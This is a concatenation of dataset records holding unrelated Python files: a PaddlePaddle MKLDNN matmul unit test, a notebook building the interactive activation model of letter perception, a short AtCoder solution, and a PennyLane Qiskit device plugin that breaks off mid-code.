64, input_dim]\n                elif y_dim_len == 3:\n                    shape_y = [channel2, 64, input_dim]\n            elif transpose_X:\n                shape_x = [batch_size1, channel1, input_dim, 32]\n                if y_dim_len == 4:\n                    shape_y = [batch_size2, channel2, input_dim, 64]\n                elif y_dim_len == 3:\n                    shape_y = [channel2, input_dim, 64]\n            elif transpose_Y:\n                shape_x = [batch_size1, channel1, 32, input_dim]\n                if y_dim_len == 4:\n                    shape_y = [batch_size2, channel2, 8, input_dim]\n                elif y_dim_len == 3:\n                    shape_y = [channel2, 8, input_dim]\n            else:\n                shape_x = [batch_size1, channel1, 32, input_dim]\n                if y_dim_len == 4:\n                    shape_y = [batch_size2, channel2, input_dim, 16]\n                elif y_dim_len == 3:\n                    shape_y = [channel2, input_dim, 16]\n\n            if type == \"x\":\n                return np.random.random(shape_x).astype(np.float32)\n            else:\n                return np.random.random(shape_y).astype(np.float32)\n\n        matmul_op = OpConfig(\n            type=\"matmul_v2\",\n            inputs={\"X\": [\"input_data1\"],\n                    \"Y\": [\"input_data2\"]},\n            outputs={\"Out\": [\"matmul_output\"]},\n            attrs={\n                \"trans_x\": kwargs[\"transpose_X\"],\n                \"trans_y\": kwargs[\"transpose_Y\"],\n                \"fused_reshape_X\": [],\n                \"fused_reshape_Y\": [],\n                \"fused_transpose_X\": [],\n                \"fused_transpose_Y\": [],\n                \"fused_reshape_Out\": [],\n                \"fused_transpose_Out\": []\n            })\n\n        program_config = ProgramConfig(\n            ops=[matmul_op],\n            weights={},\n            inputs={\n                \"input_data1\": TensorConfig(data_gen=partial(\n                    generate_input, \"x\", *args, **kwargs)),\n                \"input_data2\": TensorConfig(data_gen=partial(\n                    generate_input, \"y\", *args, **kwargs))\n            },\n            outputs=[\"matmul_output\"])\n\n        yield program_config\n\n    def sample_predictor_configs(self, program_config):\n        config = self.create_inference_config(use_mkldnn=True)\n        yield config, (1e-5, 1e-5)\n\n    @given(\n        transpose_X=st.booleans(),\n        transpose_Y=st.booleans(),\n        y_dim_len=st.sampled_from([3, 4]),\n        batch_size1=st.integers(\n            min_value=1, max_value=4),\n        batch_size2=st.integers(\n            min_value=1, max_value=4),\n        channel1=st.sampled_from([1, 16, 32, 64]),\n        channel2=st.sampled_from([1, 16, 32, 64]),\n        input_dim=st.sampled_from([16, 32, 64]))\n    def test(self, *args, **kwargs):\n        self.run_test(*args, **kwargs)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n", "meta": {"hexsha": "9fa98045ef3030c78c50ef6bcdc348aab6c006e2", "size": 5426, "ext": "py", "lang": "Python", "max_stars_repo_path": "python/paddle/fluid/tests/unittests/ir/inference/test_mkldnn_matmulv2_op.py", "max_stars_repo_name": "zmxdream/Paddle", "max_stars_repo_head_hexsha": "04f042a5d507ad98f7f2cfc3cbc44b06d7a7f45c", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 8, "max_stars_repo_stars_event_min_datetime": "2016-08-15T07:02:27.000Z", "max_stars_repo_stars_event_max_datetime": "2016-08-24T09:34:00.000Z", "max_issues_repo_path": "python/paddle/fluid/tests/unittests/ir/inference/test_mkldnn_matmulv2_op.py", "max_issues_repo_name": "zmxdream/Paddle", "max_issues_repo_head_hexsha": "04f042a5d507ad98f7f2cfc3cbc44b06d7a7f45c", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": 1, "max_issues_repo_issues_event_min_datetime": "2022-01-28T07:23:22.000Z", "max_issues_repo_issues_event_max_datetime": "2022-01-28T07:23:22.000Z", "max_forks_repo_path": "python/paddle/fluid/tests/unittests/ir/inference/test_mkldnn_matmulv2_op.py", "max_forks_repo_name": "zmxdream/Paddle", "max_forks_repo_head_hexsha": "04f042a5d507ad98f7f2cfc3cbc44b06d7a7f45c", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2021-08-21T06:57:20.000Z", "max_forks_repo_forks_event_max_datetime": "2021-08-21T06:57:20.000Z", "avg_line_length": 39.8970588235, "max_line_length": 78, "alphanum_fraction": 0.5715075562, "include": true, "reason": "import numpy", "num_tokens": 1276, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4687906266262437, "lm_q2_score": 0.10818895599979558, "lm_q1q2_score": 0.05071796847718328}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\nimport pandas as pd\nget_ipython().run_line_magic('matplotlib', 'notebook')\nfrom matplotlib import pyplot as plt\nfrom matplotlib import animation as anim, rc\nimport numpy as np\nfrom scipy.linalg import block_diag\n\n\n# # Load four letter words \n\n# Kucera & Francis Word Pool downloaded from http://memory.psych.upenn.edu/files/wordpools/kfpool.txt\nkf_corpus = pd.read_csv('kfpool.txt', header=None, sep=' ', names=['word', 'frequency'])\n\nkf_corpus\n\n\n# Let's see how many four letter words there are in the corpus.\n\n(kf_corpus.word.str.len() == 4).sum()\n\n\n# That is more than 1179 words reported in McClelland & Rumelhart, 1981. Probably they filtered by frequency.\n\nfor i in range(7):\n    word_count = len(kf_corpus[(kf_corpus.word.str.len() == 4) & (kf_corpus.frequency > i)])\n    print(f'There are {word_count} four letter words with frequency larger than {i}')\n\n\n# Frequency threshold of 4 yields the number closest to 1179.\n\nfour_letter_words = kf_corpus[(kf_corpus.word.str.len() == 4) & (kf_corpus.frequency > 4)]\nlen(four_letter_words)\n\n\n# # Encode letters as feature bundles \n\n# In the original model, the input letters came from a simplified font in which each letter is composed of a number of simplified line strokes (*features*) as in the following image:\n# \n# ![Font from Rumelhar & Siple, 1974](rumelhart-siple-font.jpg)\n\n# Here are all the features numbered from 0 to 13:\n# \n# ![Numbered line features](line_features.png)\n\n# A list of letters specifying which features it is composed of.\n\nfeature_numbers = {\n    'A': [0, 1, 2, 3, 4, 6, 8],\n    'B': [2, 3, 4, 5, 7, 8, 9],\n    'C': [0, 1, 2, 5],\n    'D': [2, 3, 4, 5, 7, 9],\n    'E': [0, 1, 2, 5, 6],\n    'F': [0, 1, 2, 6],\n    'G': [0, 1, 2, 4, 5, 8],\n    'H': [0, 1, 3, 4, 6, 8],\n    'I': [2, 5, 7, 9],\n    'J': [0, 3, 4, 5],\n    'K': [0, 1, 6, 11, 12],\n    'L': [0, 1, 5],\n    'M': [0, 1, 3, 4, 10, 11],\n    'N': [0, 1, 3, 4, 10, 12],\n    'O': [0, 1, 2, 3, 4, 5],\n    'P': [0, 1, 2, 3, 6, 8],\n    'Q': [0, 1, 2, 3, 4, 5, 12],\n    'R': [0, 1, 2, 3, 6, 8, 12],\n    'S': [1, 2, 4, 5, 6, 8],\n    'T': [2, 7, 9],\n    'U': [0, 1, 3, 4, 5],\n    'V': [0, 1, 11, 13],\n    'W': [0, 1, 3, 4, 12, 13],\n    'X': [10, 11, 12, 13],\n    'Y': [9, 10, 11],\n    'Z': [2, 5, 11, 13]\n}\n\n\n# Let's draw all the letter to check that we got everything right. First, we need the coordinates of all features.\n\nfeature_coordinates = {\n    0: [(-1, -1), (-1, 0)],\n    1: [(-1, 0), (-1, 1)],\n    2: [(-1, 1), (1, 1)],\n    3: [(1, 1), (1, 0)],\n    4: [(1, 0), (1, -1)],\n    5: [(1, -1), (-1, -1)],\n    6: [(0, 0), (-1, 0)],\n    7  : [(0, 0), (0, 1)],\n    8 : [(0, 0), (1, 0)],\n    9 : [(0, 0), (0, -1)],\n    10 : [(0, 0), (-1, 1)],\n    11 : [(0, 0), (1, 1)],\n    12 : [(0 ,0), (1, -1)],\n    13 : [(0, 0), (-1, -1)]\n}\n\n\n# Function that draws one letter:\n\ndef draw_letter_features(feature_list, feature_coordinates, axes, color='k'):\n    axes.grid()\n    axes.set(xlim=(-1.2, 1.2), ylim=(-1.2, 1.2))\n    \n    # Remove ticks and labels from the axes\n    axes.tick_params(left=False, bottom=False, labelleft=False, labelbottom=False)\n   \n    for line_nmbr in feature_list:\n        line_coords = feature_coordinates[line_nmbr]\n        x_values = [line_coords[0][0], line_coords[1][0]]\n        y_values = [line_coords[0][1], line_coords[1][1]]\n        axes.plot(x_values, y_values, color = color, linewidth = 4)\n\n\nfig = plt.figure()\naxes = fig.gca()\ndraw_letter_features(feature_list=feature_numbers['A'], \n            feature_coordinates=feature_coordinates, \n            axes=axes)\n\n\n# Now, let's draw all of them.\n\ndef draw_letter_features_all(letter_list, feature_numbers, feature_coordinates):\n    N_letters = len(letter_list)\n    fig, axs = plt.subplots(3, 9)\n    for axes, lttr in zip(axs.flatten()[:N_letters], letter_list):\n        plt.sca(axes)\n        draw_letter_features(feature_numbers[lttr], feature_coordinates, axes)\n    \n    # Clear the last empty axes\n    axs.flatten()[-1].axis('off');\n    \ndraw_letter_features_all(sorted(feature_numbers.keys())[:26], feature_numbers, feature_coordinates)\n\n\n# ![Font from Rumelhar & Siple, 1974](rumelhart-siple-font.jpg)\n\n# Looks correct.\n\n# # Feature perception\n\nM = 1.0  # max activation\nm = -0.2  # min activation\ntheta = 0.07  # decay rate\nr_feature = 0  # resting state activation\n\n\nfeature_count = len(list(feature_coordinates.keys()))\nposition_count = 4\nfeature_nodes = np.zeros((position_count, feature_count))\n\n\n# We'll have to represent the letters as a list of binary feature flags.\n\nfeatures_binary = {\n    letter: [1 if i in feature_list else 0 for i in range(feature_count)]\n    for letter, feature_list in feature_numbers.items()}\n\nfeatures_binary\n\n\ndef present_word(word: str):\n    \"\"\"\n    Activates features corresponding to the letters in the word\n    \"\"\"\n    global feature_nodes\n    features_present = np.array([features_binary[letter] for letter in word])\n    feature_nodes = M * features_present\n\n\ndef f():\n    global feature_nodes\n    decay = (feature_nodes - r_feature) * theta\n    feature_nodes = feature_nodes - decay\n\n\ndef draw_features(fig_axs=None, title=None):\n    if fig_axs is None:\n        fig, axs = plt.subplots(ncols=4, nrows=1)\n    else:\n        fig, axs = fig_axs\n    \n    fig.suptitle(title)\n    \n    for pos_features, axes in zip(feature_nodes, axs):\n        a = max(pos_features)  # activation level\n        color = (1 - a, 1 - a, 1 - a)\n        draw_letter_features(feature_list=np.nonzero(pos_features)[0], \n                    feature_coordinates=feature_coordinates, \n                    axes=axes,\n                    color=color)\n\n\nnp.set_printoptions(precision=2, floatmode='fixed')\npresent_word('WORK')\nprint(feature_nodes)\n\nfig, axs = plt.subplots(ncols=4, nrows=1)\nfor t in range(10):\n    f()\n    draw_features(fig_axs=(fig, axs), title=f'\\nafter {t + 1} cycles:')\n    fig.canvas.draw()\n\n\n# # Letter layer\n\nletter_count = len(list(feature_numbers.keys()))\nposition_count = 4\nr_letter = 0\nletter_nodes = np.ones((position_count, letter_count)) * r_letter\n\n\ndef run_cycle():\n    global feature_nodes, letter_nodes\n    \n    feature_decay, letter_decay = calculate_decay()\n    feature_neighbours_effect, letter_neighbours_effect = calculate_neighbours_effect()\n    \n    feature_nodes += - feature_decay + feature_neighbours_effect\n    letter_nodes += - letter_decay + letter_neighbours_effect\n\n\ndef calculate_decay():\n    feature_decay = (feature_nodes - r_feature) * theta\n    letter_decay = (letter_nodes - r_letter) * theta\n    return feature_decay, letter_decay\n\n\ndef calculate_layer_to_layer_input(layer_A, layer_B, weights):\n    \"\"\"\n    Calculates net input from layer_A to layer_B with weights connecting them.\n    This function is necessary because we prefer to keep nodes in 4 x N arrays instead of long vectors\n    \"\"\"\n    # Only the active (activation > 0) nodes get to send signals.\n    # Inhibitory connections have negative weights in this implementation\n    return (layer_A.ravel() * (layer_A.ravel() > 0) @ weights).reshape(layer_B.shape)\n\n\ndef calculate_neighbours_effect():\n    # There are no connections to the feature level except for the visual input\n    feature_neighbours_effect = np.zeros(feature_nodes.shape)\n    \n    # Equation 1\n    # Only the active (activation > 0) nodes get to send signals.\n    \n    # This won't work! feature_nodes and letter_nodes would need to be vectors for this\n    net_input = (calculate_layer_to_layer_input(feature_nodes, letter_nodes, feature_to_letter_weights)\n               + calculate_layer_to_layer_input(letter_nodes, letter_nodes, letter_to_letter_weights))\n    \n    # Equation 2 and 3\n    letter_neighbours_effect = np.where(\n        net_input > 0,\n        net_input * (M - letter_nodes),\n        net_input * (letter_nodes - m)\n    )\n    \n    return feature_neighbours_effect, letter_neighbours_effect\n\n\n# Letter-to-letter weights were set to zero so this one is easy.\n\nletter_to_letter_weights = np.zeros((letter_nodes.size, letter_nodes.size))\n\n\n# Each feature excites all the letter that contain it and inhibits all the others.\n\nfeature_to_letter_excitatory = 0.005\nfeature_to_letter_inhibitory = 0.15\n\n\n# Let's first build a binary array from features to letters in one position:\n\nis_excitatory = np.array([features_binary[letter] for letter in sorted(features_binary.keys())]).T\n\nis_excitatory\n\n\nfeature_to_letter_weights_1 = np.where(\n    is_excitatory,\n    feature_to_letter_excitatory,\n    - feature_to_letter_inhibitory\n)\n\nfeature_to_letter_weights_1\n\n\n# Now we just have to duplicate this array for each position. Since the weights are zeros across the four positions, we need a block-diagonal matrix made of four `feature_to_letter_weights_1`s along the diagonal.\n\nfeature_to_letter_weights = block_diag(*[feature_to_letter_weights_1 for _ in range(4)])\n\nfeature_to_letter_weights.shape\n\n\n# Each non-grey rectangle corresponds to weights from 14 features in a position to the 26 letters in the same position.\n# All the other weights are zero.\n# NB: Excitatory weights are close to 0, so they are grey as well.\n\nfig = plt.figure()\naxes = fig.gca()\naxes.matshow(feature_to_letter_weights, cmap='Set1')\n\n\nalphabet = sorted(features_binary.keys())\n\n\n# Run for a bit and save letter activations.\n\ndef present_word_and_run(word, cycle_count):\n    global letter_nodes\n    present_word(word)\n    # reset letter nodes\n    letter_nodes = np.ones((position_count, letter_count)) * r_letter\n\n    # \"1 + \" to save the initial state\n    history_shape = [1 + cycle_count] + list(letter_nodes.shape)\n    letters_history = np.empty(history_shape)\n\n    letters_history[0] = letter_nodes\n    for t in range(cycle_count):\n        run_cycle()\n        letters_history[t + 1] = letter_nodes\n        \n    return letters_history\n\n\ncycle_count = 20\nletters_history = present_word_and_run(word='WORK', cycle_count=cycle_count)\n\n\n# Plot\n\ndef setup_letter_plot(test=False):\n    fig = plt.figure(figsize=(6, 6))\n    axes = fig.gca()\n    \n    axes.set_xlim((0, 4))\n    axes.set_ylim((0, 26))\n    axes.invert_yaxis()\n    \n    text_objects = [[axes.text(y=(i + 0.8), x=(pos + 0.2), s='A' if test else '', size=10)\n                     for i  in range(len(alphabet))]\n                    for pos in range(4)]\n    \n    return fig, axes, text_objects\n\n\nsetup_letter_plot(test=True);\n\n\ndef update_letter_plot(text_objects, t, axes=None, title=None):\n    if not axes:\n        fig = plt.figure(figsize=(4, 10))\n        axes = fig.gca()\n\n    axes.set_title(title)\n    \n    for pos, (letter_nodes_, text_objects_) in enumerate(zip(letters_history[t], text_objects)):\n        for i, (letter, activation, text_object) in enumerate(zip(alphabet, letter_nodes_, text_objects_)):        \n            text_object.set_text(letter)\n            color = tuple([min(1 - activation, 1)] * 3)\n            text_object.set_color(color)\n            \n    return (text_object for row in text_objects for text_object in row)\n\n\nget_ipython().run_cell_magic('capture', '', \"fig, axes, text_objects = setup_letter_plot();\\n\\nline_ani = anim.FuncAnimation(fig, \\n                              lambda t: update_letter_plot(text_objects, t, axes=axes, title=f'\\\\nafter {t + 1} cycles:'), \\n                              frames=range(0, cycle_count + 1), blit=True, repeat=True)\\nrc('animation', html='jshtml')\")\n\n\nline_ani\n\n\n# \"O\" and \"Q\" are equally activated becase all of the \"O\" features are present in \"Q\" as well.\n# \"Q\" is not inhibited because only features that are not present in \"Q\" could do that.\n# Let's check that \"WQRK\" would not activate \"O\" because \"Q\" does have a feature absent in \"O\".\n\ncycle_count = 20\nletters_history = present_word_and_run(word='WQRK', cycle_count=cycle_count)\n\n\nget_ipython().run_cell_magic('capture', '', \"fig, axes, text_objects = setup_letter_plot();\\n\\nline_ani = anim.FuncAnimation(fig, \\n                              lambda t: update_letter_plot(text_objects, t, axes=axes, title=f'\\\\nafter {t + 1} cycles:'), \\n                              frames=range(0, cycle_count + 1), blit=True, repeat=True)\\nrc('animation', html='jshtml')\")\n\n\nline_ani\n\n\n# \"O\" was inhibited by the tail of \"Q\".\n", "meta": {"hexsha": "d991792fb0c843bc172876a4df3df94c5cdcb182", "size": 12112, "ext": "py", "lang": "Python", "max_stars_repo_path": "01_interactive-activation-model/01_feature-and-letter-layers.py", "max_stars_repo_name": "kalenkovich/cognitive-models-code", "max_stars_repo_head_hexsha": "a34728c90e1f018a958fe605f2113dce798e0cd3", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "01_interactive-activation-model/01_feature-and-letter-layers.py", "max_issues_repo_name": "kalenkovich/cognitive-models-code", "max_issues_repo_head_hexsha": "a34728c90e1f018a958fe605f2113dce798e0cd3", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 8, "max_issues_repo_issues_event_min_datetime": "2020-04-19T14:46:33.000Z", "max_issues_repo_issues_event_max_datetime": "2020-05-01T08:28:33.000Z", "max_forks_repo_path": "01_interactive-activation-model/01_feature-and-letter-layers.py", "max_forks_repo_name": "kalenkovich/cognitive-models-code", "max_forks_repo_head_hexsha": "a34728c90e1f018a958fe605f2113dce798e0cd3", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 31.1362467866, "max_line_length": 378, "alphanum_fraction": 0.6597589168, "include": true, "reason": "import numpy,from scipy", "num_tokens": 3427, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.46879062662624377, "lm_q2_score": 0.10818894881116972, "lm_q1q2_score": 0.050717965107222866}}
{"text": "# 2019-11-12 13:20:54(JST)\r\nimport sys\r\n\r\n# import collections\r\n# import math\r\n# from string import ascii_lowercase, ascii_uppercase, digits\r\n# from bisect import bisect_left as bi_l, bisect_right as bi_r\r\n# import itertools\r\n# from functools import reduce\r\n# import operator as op\r\n# from scipy.misc import comb # float\r\n# import numpy as np\r\n\r\ndef main():\r\n    n, *l = (int(x) for x in sys.stdin.read().split())\r\n    l.sort()\r\n    if l[-1] < sum(l[:-1]):\r\n        ans = 'Yes'\r\n    else:\r\n        ans = 'No'\r\n    print(ans)\r\n\r\n\r\nif __name__ == \"__main__\":\r\n    main()\r\n", "meta": {"hexsha": "01a511f1ad34c24b215e2dccf98c4167b9bac88d", "size": 570, "ext": "py", "lang": "Python", "max_stars_repo_path": "jp.atcoder/abc117/abc117_b/8404304.py", "max_stars_repo_name": "kagemeka/atcoder-submissions", "max_stars_repo_head_hexsha": "91d8ad37411ea2ec582b10ba41b1e3cae01d4d6e", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2022-02-09T03:06:25.000Z", "max_stars_repo_stars_event_max_datetime": "2022-02-09T03:06:25.000Z", "max_issues_repo_path": "jp.atcoder/abc117/abc117_b/8404304.py", "max_issues_repo_name": "kagemeka/atcoder-submissions", "max_issues_repo_head_hexsha": "91d8ad37411ea2ec582b10ba41b1e3cae01d4d6e", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 1, "max_issues_repo_issues_event_min_datetime": "2022-02-05T22:53:18.000Z", "max_issues_repo_issues_event_max_datetime": "2022-02-09T01:29:30.000Z", "max_forks_repo_path": "jp.atcoder/abc117/abc117_b/8404304.py", "max_forks_repo_name": "kagemeka/atcoder-submissions", "max_forks_repo_head_hexsha": "91d8ad37411ea2ec582b10ba41b1e3cae01d4d6e", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 21.9230769231, "max_line_length": 63, "alphanum_fraction": 0.6175438596, "include": true, "reason": "import numpy,from scipy", "num_tokens": 160, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.46879062662624377, "lm_q2_score": 0.10818894737344459, "lm_q1q2_score": 0.050717964433230796}}
{"text": "# Copyright 2019 Xanadu Quantum Technologies Inc.\n\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n\n#     http://www.apache.org/licenses/LICENSE-2.0\n\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\nr\"\"\"\nThis module contains a base class for constructing Qiskit devices for PennyLane.\n\"\"\"\n# pylint: disable=too-many-instance-attributes\n\nimport abc\nimport functools\nimport inspect\nimport itertools\nimport warnings\nfrom collections import OrderedDict\n\nimport numpy as np\nfrom qiskit import ClassicalRegister, QuantumCircuit, QuantumRegister\nfrom qiskit import extensions as ex\nfrom qiskit.circuit.measure import measure\nfrom qiskit.compiler import assemble, transpile\nfrom qiskit.converters import circuit_to_dag, dag_to_circuit\n\nfrom pennylane import Device, QuantumFunctionError\nfrom pennylane.operation import Sample\n\nfrom ._version import __version__\n\n\n@functools.lru_cache()\ndef pauli_eigs(n):\n    r\"\"\"Returns the eigenvalues for :math:`A^{\\otimes n}`,\n    where :math:`A` is any operator that shares eigenvalues\n    with the Pauli matrices.\n\n    Args:\n        n (int): number of wires\n\n    Returns:\n        array[int]: eigenvalues of :math:`Z^{\\otimes n}`\n    \"\"\"\n    if n == 1:\n        return np.array([1, -1])\n    return np.concatenate([pauli_eigs(n - 1), -pauli_eigs(n - 1)])\n\n\nQISKIT_OPERATION_MAP = {\n    # native PennyLane operations also native to qiskit\n    \"PauliX\": ex.XGate,\n    \"PauliY\": ex.YGate,\n    \"PauliZ\": ex.ZGate,\n    \"Hadamard\": ex.HGate,\n    \"CNOT\": ex.CXGate,\n    \"CZ\": ex.CZGate,\n    \"SWAP\": ex.SwapGate,\n    \"RX\": ex.RXGate,\n    \"RY\": ex.RYGate,\n    \"RZ\": ex.RZGate,\n    \"S\": ex.SGate,\n    \"T\": ex.TGate,\n    # Adding the following for conversion compatibility\n    \"CSWAP\": ex.CSwapGate,\n    \"CRX\": ex.CRXGate,\n    \"CRY\": ex.CRYGate,\n    \"CRZ\": ex.CRZGate,\n    \"PhaseShift\": ex.U1Gate,\n    \"QubitStateVector\": ex.Initialize,\n    \"U2\": ex.U2Gate,\n    \"U3\": ex.U3Gate,\n    \"Toffoli\": ex.CCXGate,\n    \"QubitUnitary\": ex.UnitaryGate,\n}\n\n# Separate dictionary for the inverses as the operations dictionary needs\n# to be invertable for the conversion functionality to work\nQISKIT_OPERATION_INVERSES_MAP = {k + \".inv\": v for k, v in QISKIT_OPERATION_MAP.items()}\n\n\nclass QiskitDevice(Device, abc.ABC):\n    r\"\"\"Abstract Qiskit device for PennyLane.\n\n    Args:\n        wires (int): The number of qubits of the device\n        provider (Provider): The Qiskit simulation provider\n        backend (str): the desired backend\n        shots (int): Number of circuit evaluations/random samples used\n            to estimate expectation values of observables.\n\n    Keyword Args:\n        name (str): The name of the circuit. Default ``'circuit'``.\n        compile_backend (BaseBackend): The backend used for compilation. If you wish\n            to simulate a device compliant circuit, you can specify a backend here.\n        analytic (bool): For statevector backends, determines if the\n            expectation values and variances are to be computed analytically.\n            Default value is ``False``.\n    \"\"\"\n    name = \"Qiskit PennyLane plugin\"\n    pennylane_requires = \">=0.8.1\"\n    version = \"0.9.0-dev\"\n    plugin_version = __version__\n    author = \"Xanadu\"\n\n    _capabilities = {\"model\": \"qubit\", \"tensor_observables\": True, \"inverse_operations\": True}\n    _operation_map = {**QISKIT_OPERATION_MAP, **QISKIT_OPERATION_INVERSES_MAP}\n    _state_backends = {\"statevector_simulator\", \"unitary_simulator\"}\n    \"\"\"set[str]: Set of backend names that define the backends\n    that support returning the underlying quantum statevector\"\"\"\n\n    operations = set(_operation_map.keys())\n    observables = {\"PauliX\", \"PauliY\", \"PauliZ\", \"Identity\", \"Hadamard\", \"Hermitian\"}\n\n    hw_analytic_warning_message = (\n        \"The analytic calculation of expectations and variances \"\n        \"is only supported on statevector backends, not on the {}. \"\n        \"The obtained result is based on sampling.\"\n    )\n\n    _eigs = {}\n\n    def __init__(self, wires, provider, backend, shots=1024, **kwargs):\n        super().__init__(wires=wires, shots=shots)\n\n        self.analytic = kwargs.pop(\"analytic\", False)\n\n        if \"verbose\" not in kwargs:\n            kwargs[\"verbose\"] = False\n\n        self.provider = provider\n        self.backend_name = backend\n        self._capabilities[\"backend\"] = [b.name() for b in self.provider.backends()]\n\n        # check that backend exists\n        if backend not in self._capabilities[\"backend\"]:\n            raise ValueError(\n                \"Backend '{}' does not exist. Available backends \"\n                \"are:\\n {}\".format(backend, self._capabilities[\"backend\"])\n            )\n\n        # perform validation against backend\n        b = self.backend\n        if wires > b.configuration().n_qubits:\n            raise ValueError(\n                \"Backend '{}' supports maximum {} wires\".format(backend, b.configuration().n_qubits)\n            )\n\n        # Inner state\n        self._reg = QuantumRegister(wires, \"q\")\n        self._creg = ClassicalRegister(wires, \"c\")\n        self._circuit = None\n        self._current_job = None\n        self._state = None  # statevector of a simulator backend\n\n        # job execution options\n        self.memory = False  # do not return samples, just counts\n\n        # determine if backend supports backend options and noise models,\n        # and properly put together backend run arguments\n        s = inspect.signature(b.run)\n        self.run_args = {}\n        self.compile_backend = None\n\n        if \"compile_backend\" in kwargs:\n            self.compile_backend = kwargs.pop(\"compile_backend\")\n\n        if \"noise_model\" in kwargs:\n            if \"noise_model\" in s.parameters:\n                self.run_args[\"noise_model\"] = kwargs.pop(\"noise_model\")\n            else:\n                raise ValueError(\"Backend {} does not support noisy simulations\".format(backend))\n\n        if \"backend_options\" in s.parameters:\n            self.run_args[\"backend_options\"] = kwargs\n\n        self.reset()\n\n    @property\n    def backend(self):\n        \"\"\"The Qiskit simulation backend object\"\"\"\n        return self.provider.get_backend(self.backend_name)\n\n    def apply(self, operation, wires, par):\n        mapped_operation = self._operation_map[operation]\n\n        qregs = [self._reg[i] for i in wires]\n\n        if operation == \"QubitStateVector\":\n\n            if self.backend_name == \"unitary_simulator\":\n                raise QuantumFunctionError(\n                    \"The QubitStateVector operation is not supported on the unitary simulator backend.\"\n                )\n\n            if len(par[0]) != 2 ** len(wires):\n                raise ValueError(\"State vector must be of length 2**wires.\")\n\n            qregs = list(reversed(qregs))\n\n            # TODO: Once a fix is available in Qiskit-Aer, remove the following:\n            par = (x.tolist() for x in par if isinstance(x, np.ndarray))\n\n        if operation == \"QubitUnitary\":\n\n            if len(par[0]) != 2 ** len(wires):\n                raise ValueError(\"Unitary matrix must be of shape (2**wires, 2**wires).\")\n\n            qregs = list(reversed(qregs))\n\n        dag = circuit_to_dag(QuantumCircuit(self._reg, self._creg, name=\"\"))\n        gate = mapped_operation(*par)\n\n        if operation.endswith(\".inv\"):\n            gate = gate.inverse()\n\n        dag.apply_operation_back(gate, qargs=qregs)\n        qc = dag_to_circuit(dag)\n        self._circuit = self._circuit + qc\n\n    def compile(self):\n        \"\"\"Compile the quantum circuit to target\n        the provided compile_backend. If compile_backend is None,\n        then the target is simply the backend.\"\"\"\n        compile_backend = self.compile_backend or self.backend\n        compiled_circuits = transpile(self._circuit, backend=compile_backend)\n        return assemble(\n            experiments=compiled_circuits,\n            backend=compile_backend,\n            shots=self.shots,\n            memory=self.memory,\n        )\n\n    def run(self, qobj):\n        \"\"\"Run the compiled circuit, and query the result.\"\"\"\n        self._current_job = self.backend.run(qobj, **self.run_args)\n        result = self._current_job.result()\n\n        if self.backend_name in self._state_backends:\n            self._state = self._get_state(result)\n\n    def _get_state(self, result):\n        \"\"\"Returns the statevector for state simulator backends.\n\n        Args:\n            result (qiskit.Result): result object\n\n        Returns:\n            array[float]: size ``(2**num_wires,)`` statevector\n        \"\"\"\n        if self.backend_name == \"statevector_simulator\":\n            state = np.asarray(result.get_statevector())\n\n        elif self.backend_name == \"unitary_simulator\":\n            unitary = np.asarray(result.get_unitary())\n            initial_state = np.zeros([2 ** self.num_wires])\n            initial_state[0] = 1\n\n            state = unitary @ initial_state\n\n        # reverse qubit order to match PennyLane convention\n        return state.reshape([2] * self.num_wires).T.flatten()\n\n    def rotate_basis(self, obs, wires, par):\n        \"\"\"Rotates the specified wires such that they\n        are in the eigenbasis of the provided observable.\n\n        Args:\n            observable (str): the name of an observable\n            wires (List[int]): wires the observable is measured on\n            par (List[Any]): parameters of the observable\n        \"\"\"\n        if obs == \"PauliX\":\n            # X = H.Z.H\n            self.apply(\"Hadamard\", wires=wires, par=[])\n\n        elif obs == \"PauliY\":\n            # Y = (HS^)^.Z.(HS^) and S^=SZ\n            self.apply(\"PauliZ\", wires=wires, par=[])\n            self.apply(\"S\", wires=wires, par=[])\n            self.apply(\"Hadamard\", wires=wires, par=[])\n\n        elif obs == \"Hadamard\":\n            # H = Ry(-pi/4)^.Z.Ry(-pi/4)\n            self.apply(\"RY\", wires, [-np.pi / 4])\n\n        elif obs == \"Hermitian\":\n            # For arbitrary Hermitian matrix H, let U be the unitary matrix\n            # that diagonalises it, and w_i be the eigenvalues.\n            Hmat = par[0]\n            Hkey = tuple(Hmat.flatten().tolist())\n\n            if Hkey in self._eigs:\n                # retrieve eigenvectors\n                U = self._eigs[Hkey][\"eigvec\"]\n            else:\n                # store the eigenvalues corresponding to H\n                # in a dictionary, so that they do not need to\n                # be calculated later\n                w, U = np.linalg.eigh(Hmat)\n                self._eigs[Hkey] = {\"eigval\": w, \"eigvec\": U}\n\n            # Perform a change of basis before measuring by applying U^ to the circuit\n            self.apply(\"QubitUnitary\", wires, [U.conj().T])\n\n    def pre_measure(self):\n        for e in self.obs_queue:\n            # Add unitaries if a different expectation value is given\n            # Exclude unitary_simulator as it does not support memory=True\n            if (\n                hasattr(e, \"return_type\")\n                and e.return_type == Sample\n                and 